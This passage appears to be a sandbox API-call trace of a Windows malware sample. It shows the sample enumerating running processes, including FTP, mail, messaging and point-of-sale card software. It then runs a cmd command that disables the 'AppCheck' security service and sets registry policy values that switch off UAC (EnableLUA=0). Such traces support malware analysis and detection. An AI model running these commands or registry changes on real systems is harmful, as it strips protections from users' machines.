lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0141.784] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0141.785] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0141.786] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0141.787] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0141.788] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0141.789] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0141.789] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0141.790] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0141.791] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0141.792] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0141.793] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0141.794] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0141.794] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0141.795] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0141.796] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0141.797] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0141.798] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0141.799] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0141.799] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0141.800] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0141.801] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0141.801] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0141.802] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0141.803] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0141.804] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0141.804] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0141.805] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0141.806] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xabc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0141.806] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0141.807] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xafc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0141.808] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0141.809] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0141.809] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0141.810] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0141.810] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0141.811] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0141.812] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="schemesbreakdownfaculty.exe")) returned 1 [0141.815] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="onto colors securities.exe")) returned 1 [0141.815] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x106c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.816] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1080, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0141.817] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0141.817] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0141.818] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0141.818] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0141.819] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x11c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0141.820] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0141.820] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0141.821] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="TiWorker.exe")) returned 1 [0141.821] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x110c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.822] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0141.822] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0141.823] CloseHandle (hObject=0x9c) returned 1 [0141.823] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x9c [0141.833] Process32FirstW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0141.834] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x69, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0141.834] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0141.835] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.835] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0141.836] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0141.836] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0141.837] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0141.837] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0141.838] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.839] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0141.839] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0141.840] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.841] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0141.841] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.842] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.843] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.843] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.844] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.844] Process32NextW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0141.941] CloseHandle (hObject=0x9c) returned 1 [0141.941] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x9c [0141.951] Process32FirstW (in: hSnapshot=0x9c, lppe=0x19fb80 | out: lppe=0x19fb80*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0142.019] CloseHandle (hObject=0x9c) returned 1 [0142.019] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="cmd.exe", lpParameters="/C sc config \"AppCheck\" start=disabled", lpDirectory=0x0, nShowCmd=0) returned 0x2a [0144.674] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xf003f, lpSecurityAttributes=0x0, phkResult=0x19fda4, lpdwDisposition=0x19fda0 | out: phkResult=0x19fda4*=0x28c, lpdwDisposition=0x19fda0*=0x2) returned 0x0 [0144.675] RegSetValueExW (in: hKey=0x28c, lpValueName="ConsentPromptBehaviorAdmin", Reserved=0x0, dwType=0x4, lpData=0x19fdb0*=0x5, cbData=0x4 | out: lpData=0x19fdb0*=0x5) returned 0x0 [0144.675] RegSetValueExW (in: hKey=0x28c, lpValueName="ConsentPromptBehaviorUser", Reserved=0x0, dwType=0x4, lpData=0x19fdb0*=0x3, cbData=0x4 | out: lpData=0x19fdb0*=0x3) returned 0x0 [0144.675] RegSetValueExW (in: hKey=0x28c, lpValueName="dontdisplaylastusername", Reserved=0x0, dwType=0x4, lpData=0x19fdac*=0x0, cbData=0x4 | out: lpData=0x19fdac*=0x0) returned 0x0 [0144.675] RegSetValueExW (in: hKey=0x28c, lpValueName="EnableInstallerDetection", Reserved=0x0, dwType=0x4, lpData=0x19fdac*=0x1, cbData=0x4 | out: lpData=0x19fdac*=0x1) returned 0x0 [0144.675] RegSetValueExW (in: hKey=0x28c, lpValueName="EnableLUA", Reserved=0x0, dwType=0x4, lpData=0x19fdac*=0x0, cbData=0x4 | out: lpData=0x19fdac*=0x0) returned 0x0 [0144.675] RegSetValueExW (in: hKey=0x28c, lpValueName="EnableSecureUIAPaths", Reserved=0x0, dwType=0x4, lpData=0x19fdac*=0x1, cbData=0x4 | out: lpData=0x19fdac*=0x1) returned 0x0 [0144.675] RegSetValueExW (in: hKey=0x28c, lpValueName="EnableUIADesktopToggle", Reserved=0x0, dwType=0x4, lpData=0x19fdb0*=0x5, cbData=0x4 | out: lpData=0x19fdb0*=0x5) returned 0x0 [0144.676] RegSetValueExW (in: hKey=0x28c, lpValueName="EnableVirtualization", Reserved=0x0, dwType=0x4, lpData=0x19fdac*=0x1, cbData=0x4 | out: lpData=0x19fdac*=0x1) returned 0x0 [0144.676] RegSetValueExW (in: hKey=0x28c, lpValueName="FilterAdministratorToken", Reserved=0x0, dwType=0x4, lpData=0x19fdac*=0x0, cbData=0x4 | out: lpData=0x19fdac*=0x0) returned 0x0 [0144.676] RegSetValueExW (in: hKey=0x28c, lpValueName="legalnoticecaption", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0144.676] RegSetValueExW (in: hKey=0x28c, lpValueName="legalnoticetext", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0144.676] RegSetValueExW (in: hKey=0x28c, lpValueName="PromptOnSecureDesktop", Reserved=0x0, dwType=0x4, lpData=0x19fdac*=0x1, cbData=0x4 | out: lpData=0x19fdac*=0x1) returned 0x0 [0144.676] RegSetValueExW (in: hKey=0x28c, lpValueName="scforceoption", Reserved=0x0, dwType=0x4, lpData=0x19fdac*=0x0, cbData=0x4 | out: lpData=0x19fdac*=0x0) returned 0x0 [0144.676] RegSetValueExW (in: hKey=0x28c, lpValueName="shutdownwithoutlogon", Reserved=0x0, dwType=0x4, lpData=0x19fdac*=0x1, cbData=0x4 | out: 